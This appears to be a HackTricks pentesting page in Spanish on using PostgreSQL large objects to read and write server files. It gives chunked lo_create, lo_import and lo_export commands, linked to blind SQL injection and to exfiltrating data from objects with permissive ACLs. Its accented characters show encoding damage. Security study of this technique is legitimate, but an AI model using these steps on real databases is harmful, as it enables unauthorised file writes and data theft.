tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Objetos grandes de PostgreSQL
PostgreSQL ofrece una estructura conocida como objetos grandes, accesible a trav茅s de la tabla pg_largeobject
, dise帽ada para almacenar tipos de datos grandes, como im谩genes o documentos PDF. Este enfoque es ventajoso sobre la funci贸n COPY TO
ya que permite la exportaci贸n de datos de vuelta al sistema de archivos, asegurando que se mantenga una r茅plica exacta del archivo original.
Para almacenar un archivo completo dentro de esta tabla, se debe crear un objeto en la tabla pg_largeobject
(identificado por un LOID), seguido de la inserci贸n de fragmentos de datos, cada uno de 2KB de tama帽o, en este objeto. Es crucial que estos fragmentos sean exactamente de 2KB de tama帽o (con la posible excepci贸n del 煤ltimo fragmento) para asegurar que la funci贸n de exportaci贸n funcione correctamente.
Para dividir tus datos binarios en fragmentos de 2KB, se pueden ejecutar los siguientes comandos:
split -b 2048 your_file # Creates 2KB sized files
Para codificar cada archivo en Base64 o Hex, se pueden usar los siguientes comandos:
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
Importante: Al automatizar este proceso, aseg煤rese de enviar fragmentos de 2KB de bytes en texto claro. Los archivos codificados en hex requerir谩n 4KB de datos por fragmento debido a la duplicaci贸n en tama帽o, mientras que los archivos codificados en Base64 siguen la f贸rmula ceil(n / 3) * 4
.
El contenido de los objetos grandes se puede ver con fines de depuraci贸n utilizando:
select loid, pageno, encode(data, 'escape') from pg_largeobject;
Usando lo_creat
y Base64
Para almacenar datos binarios, primero se crea un LOID:
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
En situaciones que requieren un control preciso, como la explotaci贸n de una Blind SQL Injection, lo_create
es preferido para especificar un LOID fijo.
Los fragmentos de datos se pueden insertar de la siguiente manera:
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
Para exportar y potencialmente eliminar el objeto grande despu茅s de su uso:
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
Usando lo_import
y Hex
La funci贸n lo_import
se puede utilizar para crear y especificar un LOID para un objeto grande:
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
Tras la creaci贸n del objeto, se insertan datos por p谩gina, asegurando que cada fragmento no exceda 2KB:
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
Para completar el proceso, los datos se exportan y el objeto grande se elimina:
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
Limitaciones
Se observa que los objetos grandes pueden tener ACLs (Listas de Control de Acceso), lo que puede restringir el acceso incluso a los objetos creados por tu usuario. Sin embargo, los objetos m谩s antiguos con ACLs permisivas pueden seguir siendo accesibles para la exfiltraci贸n de contenido.
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.